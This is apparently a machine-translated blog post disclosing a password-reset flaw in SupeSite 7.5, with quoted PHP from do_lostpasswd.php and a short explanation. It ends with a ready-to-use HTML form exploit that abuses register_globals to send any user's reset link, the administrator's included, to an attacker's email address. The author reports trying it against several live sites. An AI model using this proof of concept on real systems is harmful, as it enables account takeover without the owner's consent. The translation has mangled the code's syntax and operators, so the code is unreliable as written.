Supersite7.5 password retrieval Problem

Mr_Xhming Space

Source/do_lostpasswd.php This is the file for retrieving the password!

If (submitcheck (lostpwsubmit )){

$ _ POST [username] = trim ($ _ POST [username]);

If ($ _ POST [username]) {
$ User = uc_get_user ($ _ POST [username]);
$ Query = $ _ SGLOBAL [db]-> query ("SELECT * FROM". tname (userlog). "WHERE uid = $ user [0]");

If ($ _ SGLOBAL [db]-> fetch_array ($ query )){
Showmessage (user_delete, geturl (action/login), 10 );
}

$ Query = $ _ SGLOBAL [db]-> query ("SELECT uid, groupid, flag, email FROM ". tname (members ). "WHERE uid = $ user [0]");
$ Member = $ _ SGLOBAL [db]-> fetch_array ($ query );
If (empty ($ member )){
Showmessage (user_does_not_exist, S_URL./do. php? Action = lostpasswd );
}
$ Uemail = empty ($ member [email])? Substr ($ user [2], strpos ($ user [2],@): Substr ($ member [email], strpos ($ member [email],@));
// Administrator group, with site setting permissions. The protected user cannot retrieve the password
If ($ member [groupid] = 1 | checkperm (managesettings, $ member [groupid]) | $ member [flag]) {
Showmessage (getpasswd_account_invalid, S_URL./do. php? Action = lostpasswd, 10 );
}
}

$ _ POST [email] = trim ($ _ POST [email]);

If ($ _ POST [email]) {
If ($ _ POST [email] = $ user [2] | $ _ POST [email] = $ member [email]) {// email Verification
Include (S_ROOT ../function/sendmail. fun. php );
$ Idstring = random (6 );
$ Reseturl = $ _ SC [siteurl]./do. php? Action = lostpasswd & amp; op = reset & amp; uid =. $ user [0]. & amp; id =. $ idstring;
Updatetable (members, array (authstr = >$ _ SGLOBAL [timestamp]. "1". $ idstring), array (uid => $ user [0]);
$ Message = str_replace (\ 1, "$ reseturl", $ lang [get_passwd_message]);
If (! Sendmail (array ($ _ POST [email]), $ lang [get_passwd_subject], $ message )){
Showmessage (mail_send_fail, geturl (action/login), 10 );
}
Showmessage (email_send_success, geturl (action/login), 10 );
} Else {
Showmessage (email_username_does_not_match, S_URL./do. php? Action = lostpasswd, 10 );
}
}

}
From the above code, we can see that if we do not submit $ _ POST [username], then the $ user and $ member arrays are not initialized, and they can be constructed directly to bypass the relevant check conditions, send any email to retrieve the password user to our specified email address!
The exception lies in the system register_globals = On, and the program can send emails normally!
The method is as follows:

<Form name = "a" action ="Http: // 127.0.0.1/supersite7.5/do. php? Action = lostpasswd & user [2] = xxxxx@qq.com & user [0] = 1"Method =" post ">
<Input type = "hidden" name = "formhash" value = "f9659fba"/>
<Input type = "hidden" value = "true" name = "lostpwsubmit"/>
<Th> email </th>
<Input type = "text" value ="Xxxxx@qq.com"Name =" email "size =" 30 "/>
<Input type = "submit" value = "submit" class = "input_search"/>
</Form>

Note: I found several sites on the Internet to test the unsatisfactory results. Most of them did not enable the register_globals or email function!
Write it out to share and learn more!